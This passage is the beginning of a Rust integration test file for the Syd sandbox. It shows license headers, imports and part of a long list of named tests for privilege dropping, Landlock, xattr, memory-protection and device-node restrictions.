//
// Syd: rock-solid application kernel
// src/test/test.rs: Integration tests
//
// Copyright (c) 2023, 2024, 2025, 2026 Ali Polatel <alip@chesswob.org>
// setup_openat2_test() is based in part on
// Linux' tools/testing/selftests/openat2/resolve_test.c which is:
// Author: Aleksa Sarai <cyphar@cyphar.com>
// Copyright (C) 2018-2019 SUSE LLC.
// SPDX-License-Identifier: GPL-2.0-or-later
// test_syd_stat_after_rename_dir_4 is based in part on
// "keep-directory-symlink" test from GNU tar's test suite which is:
// Copyright 2017-2025 Free Software Foundation, Inc.
// SPDX-License-Identifier: GPL-3.0-or-later
//
// SPDX-License-Identifier: GPL-3.0
#![allow(non_snake_case)]
#![allow(clippy::disallowed_methods)]
#![allow(clippy::disallowed_types)]
#![allow(clippy::literal_string_with_formatting_args)]
use std::{
env,
ffi::OsStr,
fs::{create_dir_all, metadata, read_to_string, File},
io::{BufRead, BufReader, Read, Write},
os::{
fd::{AsRawFd, FromRawFd, OwnedFd},
unix::{
ffi::OsStrExt,
fs::{symlink, PermissionsExt},
process::ExitStatusExt,
},
},
path::Path,
process::{Command, Stdio},
thread::sleep,
time::Duration,
};
use data_encoding::{HEXLOWER, HEXLOWER_PERMISSIVE};
use libc::{
EACCES, EAFNOSUPPORT, EAGAIN, EBADF, EBADFD, EILSEQ, EINTR, EINVAL, EISDIR, ELOOP, ENODATA,
ENOENT, ENOEXEC, ENOMEM, ENOSYS, EOPNOTSUPP, EOWNERDEAD, EPERM, ESRCH, SIGTERM,
};
use nix::{
errno::Errno,
fcntl::{open, openat, readlink, OFlag},
mount::{mount, MsFlags},
sched::{unshare, CloneFlags},
sys::{
signal::{kill, SaFlags, Signal},
socket::{
accept, bind, listen, socket, AddressFamily, Backlog, SockFlag, SockType, UnixAddr,
},
stat::{mkdirat, mknod, umask, Mode, SFlag},
},
unistd::{
close, dup2, fchdir, fork, getgid, getuid, mkdir, pipe, symlinkat, sysconf, unlink,
ForkResult, SysconfVar, Uid,
},
NixPath,
};
use serde_json::Value;
use syd::{
compat::{MFdFlags, MsgFlags, Persona},
config::*,
err::SydResult,
fd::set_cloexec,
fs::grep,
hash::{add_key, hash, hash_pipe, Key, KeySerial, KEY_SPEC_USER_KEYRING},
path::{XPath, XPathBuf},
proc::{proc_map_user, proc_open},
rng::randport,
spec::{speculation_get, SpeculationFeature},
};
use crate::{assert, assert_eq, assert_ne, util::*, *};
const EX_SIGIOT: i32 = 128 + libc::SIGIOT;
const EX_SIGKILL: i32 = 128 + libc::SIGKILL;
const EX_SIGSEGV: i32 = 128 + libc::SIGSEGV;
const NONE: &[&str] = &[];
// All modes where `(mode & 0o177) == 0` (i.e. only owner bits set)
#[cfg(not(target_os = "android"))]
static SHM_ALLOWED_MODES: std::sync::LazyLock<Vec<u32>> =
std::sync::LazyLock::new(|| (0..=0o777).filter(|m| m & 0o177 == 0).collect());
// All modes where `(mode & 0o177) != 0` (i.e. any group/other bit set)
#[cfg(not(target_os = "android"))]
static SHM_DENIED_MODES: std::sync::LazyLock<Vec<u32>> =
std::sync::LazyLock::new(|| (0..=0o777).filter(|m| m & 0o177 != 0).collect());
/// Represents a test case.
pub type Test<'a> = (&'a str, fn() -> TestResult);
macro_rules! test_entry {
($func:expr) => {
(stringify!($func), $func)
};
}
/// List of integration tests.
pub const TESTS: &[Test] = &[
test_entry!(test_syd_version),
test_entry!(test_syd_export_syntax_1),
test_entry!(test_syd_export_syntax_2),
test_entry!(test_syd_export_syntax_3),
test_entry!(test_syd_export_syntax_4),
test_entry!(test_syd_export_syntax_5),
test_entry!(test_syd_export_syntax_6),
test_entry!(test_syd_export_syntax_7),
test_entry!(test_syd_export_sanity_parent),
test_entry!(test_syd_export_sanity_socket),
test_entry!(test_syd_export_sanity_waiter),
test_entry!(test_syd_export_sanity_process),
test_entry!(test_syd_export_sanity_monitor),
test_entry!(test_syd_config_environment_simple),
test_entry!(test_syd_config_environment_override_simple),
test_entry!(test_syd_config_environment_override_with_default_unset),
test_entry!(test_syd_config_environment_override_with_default_clear),
test_entry!(test_syd_config_environment_deny_set),
test_entry!(test_syd_config_environment_deny_unset),
test_entry!(test_syd_config_environment_filter_clear),
test_entry!(test_syd_config_environment_deny_live_set),
test_entry!(test_syd_config_environment_deny_live_unset),
test_entry!(test_syd_config_environment_deny_live_clear),
test_entry!(test_syd_log_fd_validate),
test_entry!(test_syd_true_returns_success),
test_entry!(test_syd_true_returns_success_with_many_processes),
test_entry!(test_syd_true_returns_success_with_many_threads),
test_entry!(test_syd_false_returns_failure),
test_entry!(test_syd_true_returns_failure_with_many_processes),
test_entry!(test_syd_true_returns_failure_with_many_threads),
test_entry!(test_syd_at_execve_check),
test_entry!(test_syd_empty_file_returns_enoexec),
test_entry!(test_syd_non_executable_file_returns_eacces_empty),
test_entry!(test_syd_non_executable_file_returns_eacces_binary),
test_entry!(test_syd_non_executable_file_returns_eacces_script),
test_entry!(test_syd_sigint_returns_130),
test_entry!(test_syd_sigabrt_returns_134),
test_entry!(test_syd_sigkill_returns_137),
test_entry!(test_syd_reap_zombies_bare),
test_entry!(test_syd_reap_zombies_wrap),
test_entry!(test_syd_timeout),
test_entry!(test_syd_whoami_returns_root_fake),
test_entry!(test_syd_whoami_returns_root_user),
test_entry!(test_syd_uts_sethostname_default),
test_entry!(test_syd_uts_sethostname_unshare),
test_entry!(test_syd_uts_setdomainname_default),
test_entry!(test_syd_uts_setdomainname_unshare),
test_entry!(test_syd_0_privdrop),
test_entry!(test_syd_0_groupdrop_default),
test_entry!(test_syd_0_groupdrop_unsafe),
test_entry!(test_syd_0_setuid_nobody_default),
test_entry!(test_syd_0_setuid_nobody_safesetid_deny),
test_entry!(test_syd_0_setuid_root_safesetid_deny),
test_entry!(test_syd_0_setuid_nobody_safesetid_allow),
test_entry!(test_syd_0_setuid_nobody_safesetid_upper),
test_entry!(test_syd_0_setgid_nobody_default),
test_entry!(test_syd_0_setgid_nobody_safesetid_deny),
test_entry!(test_syd_0_setgid_root_safesetid_deny),
test_entry!(test_syd_0_setgid_nobody_safesetid_allow),
test_entry!(test_syd_0_setgid_nobody_safesetid_upper),
test_entry!(test_syd_0_setreuid_nobody_default_1),
test_entry!(test_syd_0_setreuid_nobody_default_2),
test_entry!(test_syd_0_setreuid_nobody_default_3),
test_entry!(test_syd_0_setreuid_nobody_safesetid_deny_1),
test_entry!(test_syd_0_setreuid_nobody_safesetid_deny_2),
test_entry!(test_syd_0_setreuid_nobody_safesetid_deny_3),
test_entry!(test_syd_0_setreuid_root_safesetid_deny_1),
test_entry!(test_syd_0_setreuid_root_safesetid_deny_2),
test_entry!(test_syd_0_setreuid_root_safesetid_deny_3),
test_entry!(test_syd_0_setreuid_nobody_safesetid_allow_1),
test_entry!(test_syd_0_setreuid_nobody_safesetid_allow_2),
test_entry!(test_syd_0_setreuid_nobody_safesetid_allow_3),
test_entry!(test_syd_0_setreuid_nobody_safesetid_upper_1),
test_entry!(test_syd_0_setreuid_nobody_safesetid_upper_2),
test_entry!(test_syd_0_setreuid_nobody_safesetid_upper_3),
test_entry!(test_syd_0_setregid_nobody_default_1),
test_entry!(test_syd_0_setregid_nobody_default_2),
test_entry!(test_syd_0_setregid_nobody_default_3),
test_entry!(test_syd_0_setregid_nobody_safesetid_deny_1),
test_entry!(test_syd_0_setregid_nobody_safesetid_deny_2),
test_entry!(test_syd_0_setregid_nobody_safesetid_deny_3),
test_entry!(test_syd_0_setregid_root_safesetid_deny_1),
test_entry!(test_syd_0_setregid_root_safesetid_deny_2),
test_entry!(test_syd_0_setregid_root_safesetid_deny_3),
test_entry!(test_syd_0_setregid_nobody_safesetid_allow_1),
test_entry!(test_syd_0_setregid_nobody_safesetid_allow_2),
test_entry!(test_syd_0_setregid_nobody_safesetid_allow_3),
test_entry!(test_syd_0_setregid_nobody_safesetid_upper_1),
test_entry!(test_syd_0_setregid_nobody_safesetid_upper_2),
test_entry!(test_syd_0_setregid_nobody_safesetid_upper_3),
test_entry!(test_syd_0_setresuid_nobody_default_1),
test_entry!(test_syd_0_setresuid_nobody_default_2),
test_entry!(test_syd_0_setresuid_nobody_default_3),
test_entry!(test_syd_0_setresuid_nobody_default_4),
test_entry!(test_syd_0_setresuid_nobody_default_5),
test_entry!(test_syd_0_setresuid_nobody_default_6),
test_entry!(test_syd_0_setresuid_nobody_default_7),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_1),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_2),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_3),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_4),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_5),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_6),
test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_7),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_1),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_2),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_3),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_4),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_5),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_6),
test_entry!(test_syd_0_setresuid_root_safesetid_deny_7),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_1),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_2),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_3),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_4),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_5),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_6),
test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_7),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_1),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_2),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_3),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_4),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_5),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_6),
test_entry!(test_syd_0_setresuid_nobody_safesetid_upper_7),
test_entry!(test_syd_0_setresgid_nobody_default_1),
test_entry!(test_syd_0_setresgid_nobody_default_2),
test_entry!(test_syd_0_setresgid_nobody_default_3),
test_entry!(test_syd_0_setresgid_nobody_default_4),
test_entry!(test_syd_0_setresgid_nobody_default_5),
test_entry!(test_syd_0_setresgid_nobody_default_6),
test_entry!(test_syd_0_setresgid_nobody_default_7),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_1),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_2),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_3),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_4),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_5),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_6),
test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_7),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_1),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_2),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_3),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_4),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_5),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_6),
test_entry!(test_syd_0_setresgid_root_safesetid_deny_7),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_1),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_2),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_3),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_4),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_5),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_6),
test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_7),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_1),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_2),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_3),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_4),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_5),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_6),
test_entry!(test_syd_0_setresgid_nobody_safesetid_upper_7),
test_entry!(test_syd_0_drop_cap_sys_ptrace_exec_default),
test_entry!(test_syd_0_drop_cap_sys_ptrace_exec_unsafe_caps),
test_entry!(test_syd_0_drop_cap_sys_ptrace_exec_unsafe_ptrace),
test_entry!(test_syd_0_drop_cap_chown_exec_default),
test_entry!(test_syd_0_drop_cap_chown_exec_unsafe),
test_entry!(test_syd_0_drop_cap_chown_exec_allow_unsafe),
test_entry!(test_syd_0_drop_cap_setgid_exec_default),
test_entry!(test_syd_0_drop_cap_setgid_exec_unsafe),
test_entry!(test_syd_0_drop_cap_setgid_exec_safesetid),
test_entry!(test_syd_0_drop_cap_setuid_exec_default),
test_entry!(test_syd_0_drop_cap_setuid_exec_unsafe),
test_entry!(test_syd_0_drop_cap_setuid_exec_safesetid),
test_entry!(test_syd_0_drop_cap_net_bind_service_exec_default),
test_entry!(test_syd_0_drop_cap_net_bind_service_exec_unsafe_caps),
test_entry!(test_syd_0_drop_cap_net_bind_service_exec_unsafe_bind),
test_entry!(test_syd_0_drop_cap_net_raw_exec_default),
test_entry!(test_syd_0_drop_cap_net_raw_exec_unsafe_caps),
test_entry!(test_syd_0_drop_cap_net_raw_exec_unsafe_socket),
test_entry!(test_syd_0_drop_cap_sys_time_exec_default),
test_entry!(test_syd_0_drop_cap_sys_time_exec_unsafe_caps),
test_entry!(test_syd_0_drop_cap_sys_time_exec_unsafe_time),
test_entry!(test_syd_0_drop_cap_syslog_exec_default),
test_entry!(test_syd_0_drop_cap_syslog_exec_unsafe_caps),
test_entry!(test_syd_0_drop_cap_syslog_exec_unsafe_syslog),
test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_default),
test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps),
test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_ptrace),
test_entry!(test_syd_userns_drop_cap_chown_exec_default),
test_entry!(test_syd_userns_drop_cap_chown_exec_unsafe),
test_entry!(test_syd_userns_drop_cap_chown_exec_allow_unsafe),
test_entry!(test_syd_userns_drop_cap_setgid_exec_default),
test_entry!(test_syd_userns_drop_cap_setgid_exec_unsafe),
test_entry!(test_syd_userns_drop_cap_setgid_exec_safesetid),
test_entry!(test_syd_userns_drop_cap_setuid_exec_default),
test_entry!(test_syd_userns_drop_cap_setuid_exec_unsafe),
test_entry!(test_syd_userns_drop_cap_setuid_exec_safesetid),
test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_default),
test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps),
test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind),
test_entry!(test_syd_userns_drop_cap_net_raw_exec_default),
test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_caps),
test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_socket),
test_entry!(test_syd_userns_drop_cap_sys_time_exec_default),
test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_caps),
test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_time),
test_entry!(test_syd_userns_drop_cap_syslog_exec_default),
test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_caps),
test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_syslog),
test_entry!(test_syd_landlock_dotdot_deny),
test_entry!(test_syd_landlock_magiclink_deny),
test_entry!(test_syd_landlock_read_restrictions_allow),
test_entry!(test_syd_landlock_read_restrictions_deny),
test_entry!(test_syd_landlock_read_restrictions_list),
test_entry!(test_syd_landlock_write_restrictions_allow),
test_entry!(test_syd_landlock_write_restrictions_deny),
test_entry!(test_syd_landlock_write_restrictions_list),
test_entry!(test_syd_landlock_write_via_proc_reopen_restrictions_allow),
test_entry!(test_syd_landlock_write_via_proc_reopen_restrictions_deny),
test_entry!(test_syd_landlock_write_via_proc_reopen_restrictions_list),
test_entry!(test_syd_landlock_bind_restrictions_allow),
test_entry!(test_syd_landlock_bind_restrictions_deny),
test_entry!(test_syd_landlock_bind_restrictions_list),
test_entry!(test_syd_landlock_connect_restrictions_allow),
test_entry!(test_syd_landlock_connect_restrictions_deny),
test_entry!(test_syd_landlock_connect_restrictions_list),
test_entry!(test_syd_landlock_ioctl_restrictions_allow),
test_entry!(test_syd_landlock_ioctl_restrictions_deny),
test_entry!(test_syd_landlock_ioctl_restrictions_pty_allow_1),
test_entry!(test_syd_landlock_ioctl_restrictions_pty_allow_2),
test_entry!(test_syd_landlock_ioctl_restrictions_pty_deny_1),
test_entry!(test_syd_landlock_ioctl_restrictions_pty_deny_2),
test_entry!(test_syd_landlock_abstract_unix_socket_restrictions_allow),
test_entry!(test_syd_landlock_abstract_unix_socket_restrictions_deny),
test_entry!(test_syd_landlock_signal_restrictions_allow),
test_entry!(test_syd_landlock_signal_restrictions_deny),
// Landlock selftests (ported from linux/tools/testing/selftests/landlock/)
test_entry!(test_syd_landlock_selftest_inconsistent_attr),
test_entry!(test_syd_landlock_selftest_abi_version),
test_entry!(test_syd_landlock_selftest_errata),
test_entry!(test_syd_landlock_selftest_create_ruleset_checks_ordering),
test_entry!(test_syd_landlock_selftest_add_rule_checks_ordering),
test_entry!(test_syd_landlock_selftest_restrict_self_checks_ordering),
test_entry!(test_syd_landlock_selftest_restrict_self_fd),
test_entry!(test_syd_landlock_selftest_restrict_self_fd_logging_flags),
test_entry!(test_syd_landlock_selftest_restrict_self_logging_flags),
test_entry!(test_syd_landlock_selftest_ruleset_fd_io),
test_entry!(test_syd_landlock_selftest_ruleset_fd_transfer),
test_entry!(test_syd_landlock_selftest_cred_transfer),
test_entry!(test_syd_landlock_selftest_tsync_single_threaded),
test_entry!(test_syd_landlock_selftest_tsync_multi_threaded),
test_entry!(test_syd_landlock_selftest_tsync_diverging_domains),
test_entry!(test_syd_landlock_selftest_tsync_competing),
test_entry!(test_syd_socket_domain_restrictions),
test_entry!(test_syd_0_xattr_name_restrictions_get_default),
test_entry!(test_syd_0_xattr_name_restrictions_get_lockoff),
test_entry!(test_syd_0_xattr_name_restrictions_set_default),
test_entry!(test_syd_0_xattr_name_restrictions_set_lockoff),
test_entry!(test_syd_0_xattr_name_restrictions_lst_default),
test_entry!(test_syd_0_xattr_name_restrictions_lst_lockoff),
test_entry!(test_syd_0_xattr_getxattrat_path_linux),
test_entry!(test_syd_0_xattr_getxattrat_file_linux),
test_entry!(test_syd_0_xattr_getxattrat_path_syd_default),
test_entry!(test_syd_0_xattr_getxattrat_path_syd_lockoff),
test_entry!(test_syd_0_xattr_getxattrat_file_syd_default),
test_entry!(test_syd_0_xattr_getxattrat_file_syd_lockoff),
test_entry!(test_syd_xattr_setxattrat_path_linux),
test_entry!(test_syd_xattr_setxattrat_file_linux),
test_entry!(test_syd_xattr_setxattrat_size_linux),
test_entry!(test_syd_xattr_getxattrat_size_linux),
test_entry!(test_syd_0_xattr_setxattrat_path_syd_default),
test_entry!(test_syd_0_xattr_setxattrat_path_syd_lockoff),
test_entry!(test_syd_xattr_setxattrat_size_syd_default),
test_entry!(test_syd_xattr_getxattrat_size_syd_default),
test_entry!(test_syd_0_xattr_setxattrat_file_syd_default),
test_entry!(test_syd_0_xattr_setxattrat_file_syd_lockoff),
test_entry!(test_syd_0_xattr_listxattrat_path_linux),
test_entry!(test_syd_0_xattr_listxattrat_file_linux),
test_entry!(test_syd_0_xattr_listxattrat_path_syd_default),
test_entry!(test_syd_0_xattr_listxattrat_path_syd_lockoff),
test_entry!(test_syd_0_xattr_listxattrat_file_syd_default),
test_entry!(test_syd_0_xattr_listxattrat_file_syd_lockoff),
test_entry!(test_syd_0_xattr_removexattrat_path_linux),
test_entry!(test_syd_0_xattr_removexattrat_file_linux),
test_entry!(test_syd_0_xattr_removexattrat_path_syd_default),
test_entry!(test_syd_0_xattr_removexattrat_path_syd_lockoff),
test_entry!(test_syd_0_xattr_removexattrat_file_syd_default),
test_entry!(test_syd_0_xattr_removexattrat_file_syd_lockoff),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_exp_shm_harden_shmat),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_exp_shm_harden_shmget),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_exp_shm_harden_msgget),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_exp_shm_harden_semget),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_exp_shm_harden_mq_open),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_shm_msgrcv_copy_default),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_shm_msgrcv_copy_shm),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_shm_msgrcv_copy_unsafe),
test_entry!(test_syd_proc_pid_status_filter),
test_entry!(test_syd_environment_filter_arg),
test_entry!(test_syd_environment_filter_syd),
test_entry!(test_syd_environment_harden),
test_entry!(test_syd_environment_backtrace),
test_entry!(test_syd_restrict_create),
test_entry!(test_syd_restrict_hardlinks),
test_entry!(test_syd_restrict_symlinks),
test_entry!(test_syd_restrict_symlinks_bypass_no_parent_default),
test_entry!(test_syd_restrict_symlinks_bypass_no_parent_unsafe),
test_entry!(test_syd_force_no_symlinks),
test_entry!(test_syd_force_no_magiclinks),
test_entry!(test_syd_immutable_sticky),
test_entry!(test_syd_lock),
test_entry!(test_syd_lock_drop),
test_entry!(test_syd_lock_exec),
test_entry!(test_syd_lock_ipc_unix),
test_entry!(test_syd_lock_ipc_uabs),
test_entry!(test_syd_lock_ipc_auth),
test_entry!(test_syd_lock_ipc_rate),
test_entry!(test_syd_lock_prevents_further_cli_args),
test_entry!(test_syd_lock_prevents_further_cfg_items),
test_entry!(test_syd_lock_prevents_further_inc_items),
test_entry!(test_syd_dns_resolve_host_unspec),
test_entry!(test_syd_dns_resolve_host_ipv4),
test_entry!(test_syd_dns_resolve_host_ipv6),
test_entry!(test_syd_ofd),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_wordexp),
test_entry!(test_syd_cmd_exec_with_lock_default),
test_entry!(test_syd_cmd_exec_with_lock_on),
test_entry!(test_syd_cmd_exec_with_lock_off_1),
test_entry!(test_syd_cmd_exec_with_lock_off_2),
test_entry!(test_syd_cmd_exec_with_lock_exec_1),
test_entry!(test_syd_cmd_exec_with_lock_exec_2),
test_entry!(test_syd_parse_config),
test_entry!(test_syd_include_config),
test_entry!(test_syd_shellexpand_01),
test_entry!(test_syd_shellexpand_02),
test_entry!(test_syd_shellexpand_03),
test_entry!(test_syd_shellexpand_04),
test_entry!(test_syd_personality_uname26),
test_entry!(test_syd_personality_read_implies_exec),
test_entry!(test_syd_personality_addr_no_randomize),
test_entry!(test_syd_personality_addr_compat_layout),
test_entry!(test_syd_personality_mmap_page_zero),
test_entry!(test_syd_mdwe_personality_uname26),
test_entry!(test_syd_mdwe_personality_read_implies_exec),
test_entry!(test_syd_mdwe_personality_addr_no_randomize),
test_entry!(test_syd_mdwe_personality_addr_compat_layout),
test_entry!(test_syd_mdwe_personality_mmap_page_zero),
test_entry!(test_syd_mdwe_mmap_prot_read_exec_with_map_anonymous),
test_entry!(test_syd_mdwe_mmap_prot_write_exec_with_map_anonymous),
test_entry!(test_syd_mdwe_mmap_fixed_null),
test_entry!(test_syd_mdwe_mprotect_read_to_exec),
test_entry!(test_syd_mdwe_mprotect_read_to_write_exec),
test_entry!(test_syd_mdwe_mprotect_write_to_exec),
test_entry!(test_syd_mdwe_mprotect_write_to_read_exec),
test_entry!(test_syd_mdwe_mprotect_exe),
test_entry!(test_syd_mdwe_mprotect_jit),
test_entry!(test_syd_mdwe_enforce_execstack_nested_routine),
test_entry!(test_syd_mdwe_enforce_execstack_self_modifying),
test_entry!(test_syd_mdwe_enforce_mprotect_self_modifying),
test_entry!(test_syd_log_proc_setname_read),
test_entry!(test_syd_log_proc_setname_filter),
test_entry!(test_syd_cap_basic),
test_entry!(test_syd_cap_unshare),
test_entry!(test_syd_set_at_secure_default),
test_entry!(test_syd_set_at_secure_unsafe),
test_entry!(test_syd_set_at_secure_off),
test_entry!(test_syd_set_at_secure_max),
test_entry!(test_syd_randomize_sysinfo),
test_entry!(test_syd_mmap_prot_read_exec_with_map_anonymous),
test_entry!(test_syd_mmap_prot_write_exec_with_map_anonymous),
test_entry!(test_syd_mmap_prot_read_exec_with_backing_file),
test_entry!(test_syd_mmap_prot_write_exec_with_backing_file),
test_entry!(test_syd_mmap_prot_exec_rdwr_fd),
test_entry!(test_syd_mmap_fixed_null),
test_entry!(test_syd_mprotect_read_to_exec),
test_entry!(test_syd_mprotect_read_to_write_exec),
test_entry!(test_syd_mprotect_write_to_exec),
test_entry!(test_syd_mprotect_write_to_read_exec),
test_entry!(test_syd_mprotect_exe),
test_entry!(test_syd_mprotect_jit),
test_entry!(test_syd_mdwe_bypass_linux_bug_219227),
test_entry!(test_syd_mfd_exec_default),
test_entry!(test_syd_mfd_exec_unsafe),
test_entry!(test_syd_mfd_acl_create_1),
test_entry!(test_syd_mfd_acl_create_2),
test_entry!(test_syd_mfd_acl_create_3),
test_entry!(test_syd_mfd_acl_create_4),
test_entry!(test_syd_mfd_acl_create_5),
test_entry!(test_syd_mfd_acl_exec_1),
test_entry!(test_syd_mfd_acl_exec_2),
test_entry!(test_syd_mfd_acl_exec_3),
test_entry!(test_syd_mfd_acl_exec_4),
test_entry!(test_syd_mfd_acl_exec_5),
test_entry!(test_syd_mfd_acl_ftruncate_1),
test_entry!(test_syd_mfd_acl_ftruncate_2),
test_entry!(test_syd_mfd_acl_ftruncate_3),
test_entry!(test_syd_mfd_acl_ftruncate_4),
test_entry!(test_syd_mfd_acl_ftruncate_5),
test_entry!(test_syd_secretmem_acl_create_1),
test_entry!(test_syd_secretmem_acl_create_2),
test_entry!(test_syd_secretmem_acl_ftruncate_1),
test_entry!(test_syd_secretmem_acl_ftruncate_2),
test_entry!(test_syd_mfd_copy_from_proc_version),
test_entry!(test_syd_mfd_copy_from_proc_sys_kernel_osrelease),
test_entry!(test_syd_mfd_copy_from_proc_self_status),
test_entry!(test_syd_mfd_copy_from_etc_machine_id),
test_entry!(test_syd_mfd_readlink_proc_version),
test_entry!(test_syd_mfd_readlink_proc_sys_kernel_osrelease),
test_entry!(test_syd_mfd_readlink_proc_self_status),
test_entry!(test_syd_mfd_readlink_etc_machine_id),
test_entry!(test_syd_replace_proc_self_stat_allow),
test_entry!(test_syd_replace_proc_self_stat_deny),
test_entry!(test_syd_replace_proc_self_stat_kill),
test_entry!(test_syd_replace_proc_self_stat_abort),
test_entry!(test_syd_replace_proc_self_chdir_allow),
test_entry!(test_syd_replace_proc_self_chdir_deny),
test_entry!(test_syd_replace_proc_self_chdir_kill),
test_entry!(test_syd_replace_proc_self_chdir_abort),
test_entry!(test_syd_mknod_bdev_1),
test_entry!(test_syd_mknod_bdev_2),
test_entry!(test_syd_0_mknod_bdev_3),
test_entry!(test_syd_mknod_cdev_1),
test_entry!(test_syd_mknod_cdev_2),
test_entry!(test_syd_0_mknod_cdev_3),
test_entry!(test_syd_mknodat_bdev_1),
test_entry!(test_syd_mknodat_bdev_2),
test_entry!(test_syd_mknodat_bdev_3),
test_entry!(test_syd_mknodat_cdev_1),
test_entry!(test_syd_mknodat_cdev_2),
test_entry!(test_syd_0_mknodat_cdev_3),
test_entry!(test_syd_mknod_dev_truncation),
test_entry!(test_syd_mknodat_dev_truncation),
test_entry!(test_syd_renameat2_cdev_1),
test_entry!(test_syd_renameat2_cdev_2),
test_entry!(test_syd_renameat2_cdev_3),
test_entry!(test_syd_renameat2_cdev_4),
test_entry!(test_syd_nftw_dev),
test_entry!(test_syd_nftw_proc),
test_entry!(test_syd_stat_write_to_non_writable_linux),
test_entry!(test_syd_stat_write_to_non_writable_default),
test_entry!(test_syd_stat_write_to_non_writable_procmem),
test_entry!(test_syd_stat_write_to_read_exec_linux),
test_entry!(test_syd_stat_write_to_read_exec_default),
test_entry!(test_syd_stat_write_to_read_exec_procmem),
test_entry!(test_syd_stat_compare_root_inode_1),
test_entry!(test_syd_stat_compare_root_inode_2),
test_entry!(test_syd_compat_stat_linux),
test_entry!(test_syd_compat_stat_syd),
test_entry!(test_syd_compat_stat64_linux),
test_entry!(test_syd_compat_stat64_syd),
test_entry!(test_syd_compat_fstat_linux),
test_entry!(test_syd_compat_fstat_syd),
test_entry!(test_syd_compat_fstat64_linux),
test_entry!(test_syd_compat_fstat64_syd),
test_entry!(test_syd_compat_statfs_linux),
test_entry!(test_syd_compat_statfs_syd),
test_entry!(test_syd_compat_statfs64_linux),
test_entry!(test_syd_compat_statfs64_syd),
test_entry!(test_syd_compat_fstatfs_linux),
test_entry!(test_syd_compat_fstatfs_syd),
test_entry!(test_syd_compat_fstatfs64_linux),
test_entry!(test_syd_compat_fstatfs64_syd),
test_entry!(test_syd_exec_program_check_fd_leaks_bare),
test_entry!(test_syd_exec_program_check_fd_leaks_wrap),
test_entry!(test_syd_read_sandbox_open_allow),
test_entry!(test_syd_read_sandbox_open_deny),
test_entry!(test_syd_chdir_sandbox_allow_1),
test_entry!(test_syd_chdir_sandbox_allow_2),
test_entry!(test_syd_chdir_sandbox_hide_1),
test_entry!(test_syd_chdir_sandbox_hide_2),
test_entry!(test_syd_chroot_sandbox_allow_default),
test_entry!(test_syd_chroot_sandbox_allow_unsafe),
test_entry!(test_syd_chroot_sandbox_deny),
test_entry!(test_syd_chroot_sandbox_hide),
test_entry!(test_syd_pivot_root_default),
test_entry!(test_syd_pivot_root_unsafe),
